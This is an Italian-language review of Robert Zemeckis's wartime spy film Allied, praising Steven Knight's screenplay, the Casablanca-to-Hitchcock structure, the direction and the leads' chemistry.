Allied di Robert Zemeckis – Recensioni FEMS

Allied – Un ombra nascosta fin dalla trama ci ricorda che è un film di quelli di una volta: il canadese Max Vatan (Brad Pitt) e la francese Marianne Beauséjour (Marion Cotillard) sono due spie che s’incontrano durante una missione a Casablanca, compiono il loro sporco lavoro ma si innamorano davvero… Sposatisi in Inghilterra la loro vita scorre felice finché Marianne non viene sospettata di essere una spia tedesca.

allied

La sceneggiatura

Steven Knight (vi ricordate il fantastico Locke? o La promessa dell’assassino?) scrive una brillante sceneggiatura con dialoghi essenziali, ambigui e battute da ricordare: “Io non mento mai sulle emozioni”.

Per scriverla si è ispirato a una storia vera raccontatagli nella campagna del Texas, quando girava gli USA in anno sabbatico post liceo. Il racconto ha poi preso il suo corso, rielaborato e definito negli anni facendo nascere  la sceneggiatura di Allied. Un film ambientato tra gli Alleati (Allied), dove però non è facile capire se ci sono davvero buoni e cattivi, perché al di là delle fazioni sono tutti estremamente reali/umani e tutti sono capaci di mentire perfettamente (come qualcuna ha notato, il titolo è anche un gioco di parole, infatti Allied: All lie).

La struttura del film è divisa in due parti principali: Si parte da un filmone avventuroso alla Casablanca e si arriva ad un giallo coinvolgente ed opprimente alla Alfred Hitchcock (Il sospetto), con un finale movimentato arricchito da un tocco alla Graham Greene (Il terzo uomo): avventura, suspence ed emozioni forti. In poche parole uno di quei film che in giro non si vedono più, sorretto da una coppia di attori perfetti, dalla buona alchimia (no nello scandalo non ci crediamo!!), ma anche scenografie e costumi mozzafiato.

La regia

Robert Zemeckis (Ritorno al futuro, Forrest Gump, Chi ha incastrato Roger rabbit?), che da un po’ di anni non faceva più molto parlare di sé, ci dimostra ancora una volta di essere un grande regista, che non rinuncia a fare ciò che più gli piace solo per compiacere il pubblico o la critica (il film è stato molto più apprezzato in Europa che in America, dove anche gli incassi sono andati maluccio).

La regia di Zemeckis rende infatti davvero unica questa pellicola, in ogni immagine di Allied ci perdiamo in un’intrigante profondità di campo tutta da esplorare: il deserto e le sue dune, l’estensione di Casablanca, Londra sotto il cielo nei bombardamenti, le camere della casetta di periferia. Il tutto curato nei minimi particolari, talmente tanti da perdersi nell’osservarli.

Molti critici si sono soffermati ad analizzare la prima sequenza, la discesa di Pitt dall’aereo in mezzo al deserto: piano, piano il suo corpo si materializza davanti alla macchina da presa, quasi una caduta infinita sull’infinito. Tra tante scene maestose come questa, qualche volta si pecca nell’osare, come nella scena d’amore nell’auto in mezzo a una tempesta di sabbia: assolutamente eccessiva, ma si era mai visto qualcosa del genere? L’uso del suono è davvero geniale e sexy.

Quindi si tratta davvero di un filmone visivamente mozzafiato e costruito perfettamente, ma diciamolo non sempre questi ingredienti bastano, ci vogliono le emozioni e Allied riesce darci anche questo (la mano stritolata del mio ragazzo nel corso della visione ne è la prova), perché, come dice la protagonista:

Io non mento mai sulle emozioni. E’ per questo che funziona

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